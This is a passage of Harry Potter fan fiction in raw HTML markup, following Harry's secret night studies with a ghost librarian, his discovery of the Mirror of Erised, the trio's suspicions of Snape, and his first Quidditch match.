thing from\nhappening in the future? That is why you&#8217;re here isn&#8217;t it?&#8217;</p>\n\n<p class="MsoNormal">Harry nodded his confirmation, ready to get\ndown to business himself.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWhile I approve of both your motives and your desire to know more, I hope you\nrealize that you can&#8217;t accomplish what you&#8217;re trying for in one night?&#8217;</p>\n\n<p class="MsoNormal">Harry nodded again.</p>\n\n<p class="MsoNormal">&nbsp;&#8216; And\nyou also realize that no matter how much you study, you won&#8217;t learn any of it\nif you don&#8217;t sleep? I will report you to the staff, probably Professor Snape,\nif I think you&#8217;re not sleeping enough.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216; I\nunderstand.&#8217; Harry said. &#8216; I&#8217;m only here tonight because I&#8217;ve been in bed for\nso long that I couldn&#8217;t sleep right now without a sleeping potion to help.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nVery well, I will help you then.&#8217; Lady Scrive said, finally smiling. &#8216; You do\nknow that the reason you&#8217;re at Hogwarts is to prepare you magically in just the\nsame way that you&#8217;re here in the library to do? It&#8217;s the whole point of a\nmagical education.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nYes, but as was demonstrated last night, the universe doesn&#8217;t wait until you\ncan handle a situation to thrust it upon you.&#8217; Harry told her, and then smiled\na little. &#8216; Well, that and I&#8217;m just a little impatient to learn what I can.&#8217;</p>\n\n<p class="MsoNormal">The ghost certainly knew that Harry was\nonly trying to get on her good side by saying that (even if it was a little\ntrue), but she didn&#8217;t mind at all.</p>\n\n<p class="MsoNormal">&nbsp;&#8216; I\nthink then, that you understand you&#8217;ll need to dedicate a lot of time to this\npursuit. Are you sure you have time for it?&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216; I\nknow I&#8217;ve got enough time for this, but getting here without being caught out\nof bed means I won&#8217;t have as much time as I&#8217;d like to have.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216; I\nthink we can cut down on the time it will take you to get here. Assuming you\ncan keep a secret. Even from your friends.&#8217;</p>\n\n<p class="MsoNormal">Harry was a little confused at her concern\nabout his ability to keep secrets (Why would he tell anyone something that they\ndidn&#8217;t need to know?), but he assured her that he would tell no one.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nFollow me then.&#8217; She said turning off towards the back of the library.</p>\n\n<p class="MsoNormal">She led him to a place in the back of the\nlarge library with shelves of history books on one side and what seemed to be\nbooks on divination on the other. It wasn&#8217;t a place that was frequented by most\nstudents.</p>\n\n<p class="MsoNormal">She pointed at one of the shelves that had\na nail sticking out a little from the wood.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nPull that nail out a little farther, turn it one and a half times to the left,\nthen three times to the right, then push it all the way back in.&#8217; she\ninstructed him.</p>\n\n<p class="MsoNormal">Harry did as he was told, making sure that\nhe&#8217;d remember the instructions later, and the shelf of divination books slid\nsilently back into the wall a few feet and stopped, revealing a set of stairs\nleading down into darkness.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nThis will lead you into a maze of corridors that runs all throughout the\ncastle. The original reasons for having the hidden corridors have been long\nforgotten, but the openings to them are still working just fine.&#8217; Lady Scrive\ntold him and smiled in amusement. &#8216; Do not use this way to get back tonight,\nyou would probably get lost, but if you ask the Weasley twins to show you\naround I am sure they shall be more than happy to. Do not tell them how to open\nthis though. They have already found this opening and figured out where it\nleads to, but they have not discovered how to open it yet. Of course they do\nnot see much reason to sneak into the library, so they have not tried very hard\nat figuring it out.&#8217; Her voice became icy as she said this and Harry promised\nhimself that he&#8217;d never show anything but love and respect for books while she\nwas near.</p>\n\n<p class="MsoNormal">Just then the shelf slid back into place of\nits own accord and the nail slipped back out to where it had first been.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nNow- we need to decide how to go about this.&#8217; Lady Scrive announced.</p>\n\n<p class="MsoNormal">Harry took a deep breath as his heart gave\na little thrill at the idea of having the entire library to himself without the\nrisk of detention. On top of that he would have a librarian who knew the\nlibrary as well as only someone who&#8217;d spent literally hundreds of years there\ncould.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was two in the morning when Harry\nfinally decided he was feeling tired enough to head back and try to get some\nsleep before he got up for breakfast. With Lady Scrive&#8217;s help and accumulated\nknowledge of how students learned best and fastest Harry had decided that he\nwould come to study on Friday, Saturday and Wednesday nights unless there was a\ntest the next day or some other reason not to on that night (when you didn&#8217;t\nsleep and spent just about every moment for hundreds of years in a library you\ntended to gain some experience of this sort).</p>\n\n<p class="MsoNormal">Since Lady Scrive insisted that he tell no\none about what he did, saying that the fewer who knew the easier to avoid\ncomplications, Harry wouldn&#8217;t be doing his homework during these nights because\nit would make his friends suspicious about how and when he got it done. Instead\nLady Scrive thought that Harry should study all the spells, charms, curses, and\nhexes he could find. She also suggested studying any of the extra courses that\nhe&#8217;d have to chose in a couple years, such as arithmancy and runes. If he\nsimply studied for the classes he already had he would do well in them, but\nwould raise suspicions. She did suggest though, that he study for potions, as\nshe knew somehow that Snape was out to get him.</p>\n\n<p class="MsoNormal">As it was so late (or early) when Harry\ndecided to leave he didn&#8217;t think that anyone except Peeves would be in the\nhalls at this time of night, but he made sure to keep quiet nonetheless.</p>\n\n<p class="MsoNormal">Once again he shrank the door, walked\nthrough, then enlarged it again, but this time he paid more attention to lining\nup the hinges.</p>\n\n<p class="MsoNormal">Turning to head back to Gryffindor tower,\nhe saw shaky lamplight on the wall at the end of the corridor and heard the\nmeow of a cat.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nOh crap!&#8217; Harry whispered fiercely and darted down a different corridor knowing\nthat Mrs. Norris would likely smell him and alert Filch.</p>\n\n<p class="MsoNormal">Not really paying any attention to where he\nwas going Harry ran as fast as he could without making a sound and breathed a\nsigh of relief as the sound of Filch and Mrs. Norris started to fade. Then they\nstarted getting louder again and Harry swore at his luck. They must have gone\npast the library and taken some other route to where he was now.</p>\n\n<p class="MsoNormal">Looking around desperately Harry spotted a\ndoor that was slightly ajar. Having learned his lesson from the first time he\nhad snuck into the library, he slid through the opening without moving the\ndoor. It seemed to be a classroom that hadn&#8217;t been used in years. He held a\nsigh of relief in check once he was in as just then both Filch and his cat had\ncome around the corner and into the same corridor Harry had been in moments\nbefore.</p>\n\n<p class="MsoNormal">Harry held his breath as the two passed the\nclassroom where he was without even a glance in its direction and continued on\naround another corner. Harry continued to hold as still as possible until he\ncould no longer hear Filch&#8217;s muttering.</p>\n\n<p class="MsoNormal">Now Harry took a breath and turned to\nexamine the room he found himself in. It was in a lesser-used area of the\nschool and from the depth of the dust covering everything Harry would have to\nsay that it hadn&#8217;t been used in years. Then he noticed an object that was\ncompletely out of place in an abandoned classroom.</p>\n\n<p class="MsoNormal">It was a magnificent mirror, as high as the\nceiling, with an ornate gold frame, standing on two clawed feet. There was an\ninscription carved around the top: Erised strea ehru oyt ube cafru oyt on\nwohsi.</p>\n\n<p class="MsoNormal">What made it stand out so much in the room\nwas the dust, or rather the lack of any dust at all on the mirror, as if\nsomeone had just moved the mirror in there recently. The problem with that idea\nwas that other than Harry&#8217;s own footprints, no other dust had been disturbed in\nthe room.</p>\n\n<p class="MsoNormal">Seeing his footprints on the floor made\nHarry think and he walked carefully back over to the doorway. The dust stopped\nin a perfect line where the door would be if it were closed. Since the line was\nstill so perfect Harry surmised that the door had been open only recently, but\nthe fact that there were no footprints from the door to the mirror meant that\nsomeone had been in here recently and had either moved from the door to the\nmirror and back without touching the ground, or someone had used magic to\nreplace the dust moved by their feet when they left.</p>\n\n<p class="MsoNormal">All in all it was too much for Harry to\nworry about right then and after checking the corridor, he slipped back out of\nthe room and made his way back to his common room.</p>\n\n<p class="MsoNormal">He made it back with no further\n&#8220;adventures&#8221; and flopped into bed as soon as he changed and charmed his bed to\nsqueal if anyone opened his curtains while he was still asleep. He fell into a\ndeep dreamless sleep, and the next morning he wouldn&#8217;t remember anything about\nhis trip back from the library except that he&#8217;d hidden in an old classroom to\navoid Filch at some point, but he&#8217;d remember seeing the letters: Erised strea\nehru oyt ube cafru oyt on wohsi, carved in a mirror.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When the month changed from October to\nNovember, the weather changed from merely chilly to downright cold. Hagrid was\nseen early in the morning defrosting broomsticks on the Quidditch pitch.\nNormally they were kept in a shed near the changing rooms in the colder months,\nbut the first frost had caught everyone by surprise and they had been left out\nthe night before.</p>\n\n<p class="MsoNormal">The Quidditch season began in November and\nHarry would be playing his first real game then. The only people who even knew\nwho this years Gryffindor seeker was were the Quidditch team (of course), Ron\nand Hermione.</p>\n\n<p class="MsoNormal">It was a good thing for Harry that Ron and\nHermione were friends now (meaning that they probably wouldn&#8217;t resort to\ncursing each other during their constant arguments), otherwise Harry wouldn&#8217;t\nhave had time to finish all of his homework and still keep up with his extra\nQuidditch training. As it was Harry was only able to get to the library once\nthat week for his extra studying and even then it hadn&#8217;t seemed a very\nproductive visit to Harry as he was too worried about his Quidditch game to\nconcentrate as hard as he felt he should have. All in all, the week before\nGryffindor&#8217;s first Quidditch match of the season was rather stressful for\nHarry. The fact that his first game would be against Slytherin certainly didn&#8217;t\nhelp either.</p>\n\n<p class="MsoNormal">The upside to the week was that Hermione\nwas beginning to become more relaxed about the rules (of course she claimed she\nwas simply trying to stick to the spirit of the rules rather than the exact\nwords). This more relaxed attitude helped Ron and her get along almost as much\nas Ron&#8217;s decision to finish his homework as soon as possible (so as to have\nmore time for fun) did.</p>\n\n<p class="MsoNormal">After classes on Monday, the trio was out\non the Quidditch pitch talking about how they couldn&#8217;t wait to see Malfoy&#8217;s\nface when he found out who the Gryffindor seeker was on Saturday. Even\nHermione, who didn&#8217;t think too highly either of the rules being bent for Harry\nto play or of Quidditch in general, had a chuckle at the thought of Malfoy&#8217;s\nreaction.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nYeah,&#8217; Ron exclaimed. &#8216; I should get a picture of his face when Lee announces\nyour name!&#8217;</p>\n\n<p class="MsoNormal">Harry smiled.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nAnd Snape&#8217;s.&#8217; he agreed.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nSnape!&#8217; Hermione gasped.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWhat?!&#8217; Ron said with wide eyes looking about frantically. &#8216; Where?&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nNo, he&#8217;s not here, I just remembered something I noticed about him when we saw\nhim Friday night after we took Harry to the hospital wing.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWhat?&#8217; Ron asked, his voice full of sarcasm. &#8216; You realized he doesn&#8217;t know how\nto use a shower?&#8217;</p>\n\n<p class="MsoNormal">Hermione rolled her eyes but continued.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nNo, I noticed he was limping and his robes were torn. I didn&#8217;t think anything\nabout it until now because of all the- um, excitement.&#8217;</p>\n\n<p class="MsoNormal">Ron stared at her deadpan.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nAnd this is something we care about&#8230; why?&#8217;</p>\n\n<p class="MsoNormal">Harry jumped in before Hermione could start\nlecturing Ron as her eyes said she was about to.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWell it seems like a bit too much of a coincidence now, doesn&#8217;t it?&#8217; he asked\nRon. &#8216; I mean suddenly a troll gets past all the security without anyone\nfinding out and all the professors leave to find it&#8230;&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nAnd it certainly looked like he was attacked by something big&#8230;&#8217; Hermione put\nin.</p>\n\n<p class="MsoNormal">Ron caught on quickly then.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nOf course, the troll had to have been a distraction.&#8217; He said, and Harry could\nalmost watch the gears turning in Ron&#8217;s head. &#8216; It wasn&#8217;t enough to be any kind\nof attack. You proved that, Harry. So it was brought in for a different reason.\nQuirrell found it in the dungeons too, where Snape spends most of his time. So\nSnape probably let it in and waited for it to be discovered, then, while\neveryone was either in their dorms, or in the dungeons looking for the troll,\nno one would be there to notice someone sneaking into &#8220;Fluffy&#8217;s&#8221; room since\nit&#8217;s practically on the other side of the school.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nFluffy?!&#8217; asked Harry and Hermione incredulously.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWhat? What&#8217;s wrong with &#8220;Fluffy&#8221;?&#8217; Ron returned defensively as his ears turned\nan interesting shade of red.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nOh, nothing&#8230; nothing&#8230;&#8217; Hermione said with a giggle.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nSo what do we suspect then?&#8217; Harry asked turning from Hermione to Ron, his brow\nfurrowed.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWell, we&#8217;ve got a troll that had to have been brought in using some kind of\ndark arts. It was found in the dungeons, which are known best by Snape. Snape\nwas no where to be found while the rest of the staff were out looking as far as\nI know.&#8217; Ron paused here and looked at the other two who shook their heads.\nThey hadn&#8217;t seen Snape either that night until after the troll incident. &#8216; Then\nwhen he&#8217;s next seen he&#8217;s limping and his robes are torn, as if by something\nwith big teeth, and right now I think Fluffy is the only thing that fits that\ndescription. Not very solid evidence for anything, but it certainly points to\nSnape trying to get at whatever is being held here.&#8217;</p>\n\n<p class="MsoNormal">Hermione shook her head, looking both grim,\nbut amused.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nJust when you&#8217;ve almost got me convinced you really are a blockhead you pull\nsomething like this.&#8217; She said ruefully. &#8216; I certainly couldn&#8217;t have worked\nthat out. Not so quickly at least. It&#8217;s hard to think that a professor would do\nsomething like this though.&#8217;</p>\n\n<p class="MsoNormal">Ron rolled his eyes at the last bit and\nHarry was inclined to agree with the sentiment at this. Hermione trusted her\nidealized stereotype of professors too much.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nJust because a person is in a position of honour doesn&#8217;t necessarily mean that\nthey&#8217;re an honourable person.&#8217; Harry informed Hermione and Ron nodded his\nagreement.</p>\n\n<p class="MsoNormal">&nbsp;&#8216; I\nknow that!&#8217; Hermione snapped, blushing lightly. &#8216; but still&#8230; you wouldn&#8217;t think\nthat someone who Dumbledore has trusted to teach here for years would do\nanything like that&#8230;&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nYou know,&#8217; Harry said thoughtfully, &#8216; If something was brought here to be\nguarded because it&#8217;s safer than Gringott&#8217;s, then there&#8217;s got to be more than\njust- Fluffy guarding it. We don&#8217;t really need to do anything about this yet,\nat least until we&#8217;ve got some sort of proof that something&#8217;s going on. Snape&#8217;s\nobviously not even able to get past the dog yet&#8230; and I&#8217;m still not positive\nthat he&#8217;s trying anything. All we&#8217;re doing now is speculating. Like you said,\nRon, there&#8217;s really no solid evidence&#8230;&#8217;</p>\n\n<p class="MsoNormal">Ron and Hermione both nodded in agreement\nand the conversation turned to lighter subjects, such as making fun of Malfoy,\nQuidditch, making fun of Malfoy, homework and making fun of Malfoy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">For the rest of the day Harry couldn&#8217;t get\nhis mind off the idea of Snape trying to steal whatever Hogwarts was guarding.\nNot that Snape didn&#8217;t seem like the type to do something like that, just the\nopposite. Snape seemed to fit the role too well.</p>\n\n<p class="MsoNormal">One night that week, when Harry was taking\na walk around the school before curfew, in hopes of clearing his mind, he saw a\nstill limping Snape heading into Filch&#8217;s office. Harry, still feeling suspicious\nof him, drew back behind a suit of armour, and watched as Snape glanced around,\nthen quickly opened the door and slipped inside, closing the door after him.</p>\n\n<p class="MsoNormal">Harry crept up to the door and listened\ncarefully. Nothing.</p>\n\n<p class="MsoNormal">&lt; Hmm. Silencing spell probably.&gt; he\nthought.</p>\n\n<p class="MsoNormal">Frowning for a moment, Harry got an idea\nand pulled open the door.</p>\n\n<p class="MsoNormal">Snape was alone with Filch inside. Part of\nhis robes were lifted up, revealing partly healed gashes in his thigh, which\nFilch was wrapping with new bandages.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nBlasted thing, how&#8217;re you supposed to watch all of its heads at once.&#8217; Snape\ngrowled.</p>\n\n<p class="MsoNormal">Harry had planned on saying he wanted a\nlist of the forbidden items from Filch when he was noticed, but the two of them\nwere so wrapped up (no pun intended) in what they were doing that they didn&#8217;t\neven notice Harry.</p>\n\n<p class="MsoNormal">Having heard enough already Harry pulled\nthe door shut quietly and headed back to his common room, eager to tell Ron and\nHermione what he had seen. He never noticed Filch&#8217;s head stick out the door,\nMrs. Norris at his feet, and glare at Harry&#8217;s back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As the day of the first Quidditch game\napproached Oliver grew more and more paranoid about keeping the fact that Harry\nwas on the team a secret. This meant that instead of getting up for the usual\nsix o&#8217;clock practice the team was dragged out of bed by Wood at sometime around\nfour in the morning and they were usually on the pitch and ready to go by five.</p>\n\n<p class="MsoNormal">Most of the team thought that these\nmeasures were a bit drastic just to keep the identity of their seeker a secret,\nbut no one voiced such opinions to the almost maniacal Wood. In the end it paid\noff though; Harry was able to work with the rest of the team as if he&#8217;d been\nplaying Quidditch with them all his life. Every move and formation Harry was\ninvolved in was perfectly co-ordinated.</p>\n\n<p class="MsoNormal">Despite all of the practice and all of the\nassurances of the rest of the team, Harry was quite nervous on the day of his\nfirst Quidditch game.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nCome on, Harry. You can&#8217;t play on an empty stomach. You have to eat something.&#8217;\nUrged Hermione.</p>\n\n<p class="MsoNormal">It was the morning of the game day and\nHarry&#8217;s appetite seemed to have left him completely. He often got the same\nfeeling just before his first match in martial arts tournaments, but now it was\nmuch worse. At the tournaments Harry only had to do his best and he knew it\nwould be enough for Osakawa-san, but now he might let down his entire house and\nfor once in his life he cared about what his classmates thought of him. He\ndidn&#8217;t like it at all.</p>\n\n<p class="MsoNormal">Eventually Ron and Hermione were able to\nconvince him to eat some eggs and toast, but that was all Harry would take.\nThen it was time.</p>\n\n<p class="MsoNormal">Oliver led the team to the change rooms and\nthey all put on their scarlet robes.</p>\n\n<p class="MsoNormal">Oliver cleared his throat for silence.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nOkay, men.&#8217; He started.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nAnd women!&#8217; piped Alicia.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nAnd women,&#8217; Wood amended, &#8216; This is it.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nThe big one.&#8217; Said George.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nThe one we&#8217;ve all been waiting for.&#8217; Said Fred.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWe know Oliver&#8217;s speech off by heart.&#8217; George told Harry.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWe were on the team last year.&#8217; Fred said.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nShut up you two.&#8217; Wood said good-naturedly. &#8216; This is the best team we&#8217;ve had\nin years. I know we&#8217;ll win it this year.&#8217; He said, adding a look that clearly\nsaid &#8220; Or else!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nAlright, it&#8217;s time.&#8217; He said. &#8216; Let&#8217;s go.&#8217;</p>\n\n<p class="MsoNormal">Harry followed the twins out of the change\nroom and on to the field. The moment he heard the cheering of most of the\nschool Harry&#8217;s nervousness doubled. He hadn&#8217;t realized that so much of the\nstudent population would be present.</p>\n\n<p class="MsoNormal">Looking around he spotted Hagrid in the\nstand (he was actually rather hard to miss) and beside him was Ron and\nHermione. His stomach twisted in knots as he saw them wave to him, but he\ninstantly felt less nervous as well. No matter how Harry performed, he knew\nthat Ron, Hermione and all of his other Gryffindor friends would support him.\nIt was an odd feeling; one that he&#8217;d never experienced during his life with the\nDursleys.</p>\n\n<p class="MsoNormal">The feeling was overwhelming. It filled his\nmind with joy and left no more room for him to feel nervous or embarrassed. He\nliked playing Quidditch and he loved flying, so that was what he would do.</p>\n\n<p class="MsoNormal">Harry took his position as Madam Hooch\nwaved the captains forward to shake hands as Lee Jordan began his commentary.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWelcome to the first Quidditch match of this year&#8217;s house tournament. Slytherin\nvs. Gryffindor. On the Slytherin team we have: Captain and chaser- Marcus\nFlint, chasers Pucey and Larkly, beaters Fletcher and Podswick, keeper Bletchly\nand seeker Terence Higgs. No new faces on the Slytherin team this year.&#8217; Lee\nannounced. &#8216; And on the Gryffindor side we have: Captain and Keeper- Oliver\nWood, chasers Johnson, Spinnet and Bell, beaters Weasley and Weasley, and a new\naddition to the team, please welcome the youngest house player in\nI-don&#8217;t-know-how-long: HARRY POTTTTEEERRRRRRR!&#8217;</p>\n\n<p class="MsoNormal">There was a collective gasp from the fans\nin the stands as the secret of Gryffindor&#8217;s seeker was finally revealed before\ncheering erupted. It seemed to Harry that the noise alone would cause the\nstands to collapse. The noise was that loud, but under the cheers Harry could\njust make out the sounds of booing from the Slytherin section. Looking up at\nthem Harry saw a flash go off. Apparently Ron had gotten a hold of a camera and\nMalfoy&#8217;s reaction to Harry&#8217;s introduction would be forever captured on film.</p>\n\n<p class="MsoNormal">Once the cheering had finally subsided,\nMadam Hooch told the teams to take position and once they had, she released the\nballs and everyone pushed off.</p>\n\n<p class="MsoNormal">Rose faster and higher than anyone else as\nWood had told him to.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nKeep out of the way until you spot the snitch,&#8217; Oliver had told him, &#8216; we don&#8217;t\nwant you being attacked until it&#8217;s necessary.&#8217;</p>\n\n<p class="MsoNormal">It was hard though; Harry and Oliver had\ncome up with some great ploys to involve Harry in the game, mostly using Harry\nto distract the other side and Harry felt as if he wasn&#8217;t doing his fair share\nby hovering above the game.</p>\n\n<p class="MsoNormal">It was easy to see that he wasn&#8217;t really\nneeded yet and Higgs, the other seeker, was doing the same as Harry.</p>\n\n<p class="MsoNormal">Lee Jordan was the official commentator for\nthe house matches and as he was a friend of the twins he tended to be rather-\nah, biased in his commentary. Professor McGonagall had assigned herself as a\nsort of censor for Lee and given the fact that she was head of the house that\nLee was biased in favour of, she was as fair as could be expected about it.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nThe Quaffle is taken immediately by Johnson of Gryffindor and she speeds up the\npitch. Excellent chaser that girl, and rather attractive as well-&#8216;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nJordan!&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nSorry, Professor.&#8217;</p>\n\n<p class="MsoNormal">Harry tuned out the commentary as the game\nwent on, focusing instead on spotting the snitch. The Slytherin team certainly\nwere no slouches, but with a captain as obsessive as Wood the Gryffindor team\nhad much more practice and it showed in how well they worked together. They\noften didn&#8217;t even need to look in order to pass the Quaffle, knowing from\nexperience where their teammates would be.</p>\n\n<p class="MsoNormal">Harry quickly became bored and started\ndoing loops and small dives each time Gryffindor scored to let off some of his\npent up energy. His actions were distracting to Higgs at first, who flinched\nthe first several times Harry had done a small dive, thinking that Harry must\nhave seen the snitch. He quickly began to ignore Harry&#8217;s movements after\nrealizing that Harry was just fooling around.</p>\n\n<p class="MsoNormal">Harry hadn&#8217;t been thinking about lulling\nhis opponent, but he quickly realized the usefulness of it and reminded himself\nto talk to Oliver about the strategy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Down in the stands Ron was on the edge of\nhis seat. Each time Gryffindor scored he jumped up, yelling and cheering with\neveryone else.</p>\n\n<p class="MsoNormal">On the other side of Hagrid, Hermione was also\non the edge of her seat, though for entirely different reasons. She hardly\nnoticed when either team scored, but flinched every time Harry would do a loop\nor a dive, biting her lip the whole time. She let out a small whimper once when\na Bludger had shot up at Harry while he was on of his dives, thinking he hadn&#8217;t\nseen it since it was coming at an angle, but Harry had whirled around on his\nbroom at the last moment, neatly avoiding the ball.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nSlytherin in possession,&#8217; Lee was saying. &#8216; Chaser Pucey ducks two Bludgers,\ntwo Weasleys and chaser Bell, showing remarkable agility, and speeds towards\nthe- wait a minute- was that the snitch?&#8217;</p>\n\n<p class="MsoNormal">Harry&#8217;s eyes snapped over to where Pucey\nhad been, and he saw it. It was speeding down the pitch towards the Slytherin\nend.</p>\n\n<p class="MsoNormal">Harry sped after it a moment before Higgs,\nbut Higgs had been closer so they ended up flying down the pitch, side by side,\non parallel paths. Harry was moving faster though and it quickly became obvious\nthat he would be the first to reach it.</p>\n\n<p class="MsoNormal">Down in the stands Ron was on his chair\nyelling and cheering Harry on. Hagrid, who didn&#8217;t need to even stand up, was\nalso cheering and his voice could almost be heard through the din of hundreds\nof screaming fans. Hermione though had covered her eyes with her hands, but was\npeeking out between her fingers, torn between worry over her friend&#8217;s safety\nand the hope that he would succeed and catch the golden ball.</p>\n\n<p class="MsoNormal">Harry, focussed on the flash of gold that\nhe was chasing, didn&#8217;t notice a thing. He didn&#8217;t hear the roar of the crowd,\nthe whistle of the wind speeding by him, or even the shouts of his teammates\nurging him onward. It was all well and good that he was so focussed on his\ngoal, but another thing he failed to notice was the hulking mass of Marcus\nFlint quickly approaching on an intersecting path.</p>\n\n<p class="MsoNormal">WHAM! Marcus Flint had blocked Harry,\nseeing that his team&#8217;s seeker didn&#8217;t have a chance otherwise.</p>\n\n<p class="MsoNormal">The collision probably would have been much\nworse for both him and Harry if it wasn&#8217;t for Harry&#8217;s quick reaction. The moment\nhe saw Flint in front of him he&#8217;d clamped his feet around the end of his broom\nand pushed his feet under him so he was sort of standing up on the bristles of\nhis broom pointing the broom straight up (AN- Bad description, so just picture\nsomeone on a pogo stick with no gravity so they just keep going up).</p>\n\n<p class="MsoNormal">As it was Harry&#8217;s feet ended up hitting\nFlint in the face, giving him a bloodied nose, as Harry rose above him. Harry\nwasn&#8217;t hurt, but his feet were knocked off his broom leaving him hanging by his\nhands with his broom horizontal once more.</p>\n\n<p class="MsoNormal">The crowd roared their disapproval (except\nfor most of the Slytherins), and Madam Hooch blew her whistle, signalling for a\npenalty shot.</p>\n\n<p class="MsoNormal">Once more Lee couldn&#8217;t help taking sides.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nSo &#8211; after that obvious and disgusting bit of cheating &#8211; &#8216;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nJordan!&#8217; McGonagall growled.</p>\n\n<p class="MsoNormal">&nbsp;&#8216; I\nmean, after that open and revolting foul &#8211; &#8216;</p>\n\n<p class="MsoNormal">&#8216; Jordan, I&#8217;m warning you!&#8217; McGonagall\nsnapped, but sounded rather half-hearted.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nAll right, all right. Flint nearly kills the Gryffindor seeker, which could\nhappen to anyone I&#8217;m sure, so a penalty to Gryffindor, taken by Spinnet, who\nputs it away, no trouble, and we continue to play, Gryffindor still in\npossession.&#8217;</p>\n\n<p class="MsoNormal">While this had been going on the twins had\nrisen to help Harry get back up on his Nimbus, but he waved them off with one\nhand, wowing anyone in the crowd who had been watching him, then easily pulled\nhimself up on his own and was back on his broom in no time and the game\ncontinued without further interruptions to the action.</p>\n\n<p class="MsoNormal">Hermione had seen the whole thing from\nbetween her fingers. She&#8217;d nearly had a heart attack when she saw him almost\nfall from his broom the first time and nearly had another when he let go with\none hand to wave off Fred and George.</p>\n\n<p class="MsoNormal">For once though, Ron felt mostly the same.\nAlthough he hadn&#8217;t made the same sort of squeaky noise that Hermione had, he&#8217;d\ncertainly been worried and had angrily cursed Harry for being &#8220;so bloody\nstubborn&#8221; when he didn&#8217;t wait for help to get on his broom.</p>\n\n<p class="MsoNormal">Hagrid on the other hand seemed amused.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nClose one there, eh?&#8217; he chuckled, nudging Hermione gently with his elbow\n(knocking her into the person next to her).</p>\n\n<p class="MsoNormal">Hagrid seemed not to notice danger like a\nsensible person would. It probably came from the fact that it would take a lot\nmore to hurt Hagrid than it would to hurt most other people.</p>\n\n<p class="MsoNormal">As the game resumed, Ron, who&#8217;d been mostly\nwatching the Quaffle until then, started watching Harry instead so when it\nhappened he was the first to notice.</p>\n\n<p class="MsoNormal">It started just after Harry dodged a\nBludger. His broom lurched upwards. It certainly wasn&#8217;t enough to even\nunbalance him, much less to throw him off, but what made Harry suddenly tense\nwas the fact that it had been the broom and not him that had caused the\nmovement.</p>\n\n<p class="MsoNormal">A few seconds after the first twitch, it happened\nagain, but more violently &#8211; and it didn&#8217;t stop. Suddenly it seemed to Harry\nthat his broom had decided to throw him off for no reason. Only Nimbus Two\nThousands did not suddenly decide to throw their riders. No brooms did, for\nthat matter.</p>\n\n<p class="MsoNormal">He quickly turned towards the Gryffindor\ngoal, intending to ask Wood for a timeout. It was then that he realized he had\nlittle to no control over his broom and it started zigzagging back and forth\nacross the field and only years of hand exercises to strengthen his grip while\nlearning holds at his dojo kept him on the crazed broom.</p>\n\n<p class="MsoNormal">Although Hermione was watching Harry, 